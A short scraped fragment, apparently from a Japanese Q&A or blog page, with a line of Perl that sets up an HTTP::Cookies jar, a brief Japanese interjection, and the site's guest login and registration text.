use warnings;

my $cookie_jar	= HTTP::Cookies-&gt;new(file =&gt; $cookie_file, autosave =&gt; 1, ignore_discard =&gt; 1);

うーん、&gt;

ログイン ユーザー登録
ようこそ ゲスト さん